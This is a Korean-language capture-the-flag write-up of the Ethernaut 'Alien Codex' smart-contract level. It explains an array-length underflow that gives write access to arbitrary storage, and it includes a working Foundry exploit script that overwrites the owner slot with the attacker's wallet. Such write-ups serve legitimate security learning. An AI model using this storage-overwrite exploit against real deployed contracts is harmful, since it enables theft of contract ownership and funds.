Web3/The Ethernaut

[The Ethernaut] Alien Codex

프레딕 2025. 2. 3. 00:55
728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

뻘짓을 참 많이 한 문제이다.

딱봐도 0.5.0버전을 사용한거 보면 overflow/underflow 문제이다. 

 

보면은 동적 배열이 하나 할당되어있고 retract로 length를 맘대로 줄일 수 있다.

이때문에 overflow 취약점이 발생한다.

만약 codex의 길이가 0인데 length를 줄이면은?

length는 -1이 될 수 없기에 length가 최대값 2^256 - 1 로 지정된다.

이때, solidity에서 slot의 최대 크기는 2^256이므로 codex 배열을 통해 특정 슬롯을 마음대로 방문하고 수정할 수 있다.

 

여기서 이 문제를 해결하기 위해선 Slot을 잘 파악해야 한다.

일반적인 타입이라면 slot이 0, 1 이렇게 저장된다.

그러나 동적배열은 다르다.

해당 상태값들을 확인하면 contact가 slot 0, codex의 첫번째 index가 slot 1에 저장될 것 같지만

동적배열의 0번째 index는 keccak256(1)부터 시작한다.

그리고 여기선 1번째 slot엔 동적배열 codex의 length가 저장된다.

codex의 length가 0일때 retract()를 호출하고 1번째 slot을 보면 overflow가 적용된걸 볼 수 있다.

 

그리고 오버플로우를 통한 slot 값 수정은 다음 지피티가 해준 말을 보면 알 수 있다.

즉, 슬롯 번호가 2^256 을 벗어나면은 0부터 다시 시작된다는 것이다.

동적 배열의 index는 keccak256(1)부터 시작하기에 0번째 index는  keccak256(1), 1번째는  keccak256(1)+1, 2번째는  keccak256(1)+2.... 이런식으로 될 것이다.

따라서  2^256 - keccak256(1) 번째 index는 0번째 slot이 될 것이다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/alien.sol";

contract AlienSolve is Script {
    AlienCodex public target;
    function setUp() external{
        address payable targetAddress = payable(0x78adfAAc7bDEd06f92C276F640959eb93287F0Ba);
        target = AlienCodex(targetAddress);
    }

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        uint256 slot1Hash = uint256(keccak256(abi.encodePacked(uint256(1))));
        console.log(slot1Hash);
        uint256 maxUint256 = type(uint256).max + 1;
        uint256 calculatedIndex = maxUint256 - slot1Hash;
        console.log(calculatedIndex);
        target.revise(calculatedIndex, 0x0000000000000000000000000454D4DAd937d831c98cCD8ef9c4035B34c7F22C);
        vm.stopBroadcast();
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;


contract AlienCodex {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.pop();
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

foundry에서 0.5.0이 호환이 안돼서 0.6.2로 바꿔주고 retract도 codex.pop으로 바꿔 주었다.

 

내 경우엔 makeContact()와 retract()를 ethernaut 개발자 도구에서 실행시켜주고 위 poc코드를 돌렸다.

그리고 owner위치는 0번째 slot을 보면은 contact값과 owner가 같이 저장되어있는걸 확인 가능하다.

0번째 slot에 owner값이 젤 앞에 저장되어있다.

 

따라서 위 poc코드로 0번째 slot을 내 지갑주소로 덮었다.

 

그리고 keccak256을 사용하는 과정에서 abi.encodePacked를 사용해주는데 abi.encodePacked는 0x00000000000000002 이런값을 0x02 이렇게 바이트배열로 압축 한다. keccak256이 인자로 바이트배열을 받기에 필수적인 과정이다.

아니면 걍 abi.encode만 써줘도 된다.

// 다른 방법
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;

 

그 후 type(uint256).max값이 2^256-1 이기에 여기 + 1을 한 값에 keccak256(1)한 값을 빼주면 0번째 slot의 index를 얻을 수 있다.

 

내 지갑주소로 0번째 슬롯 덮기

728x90
반응형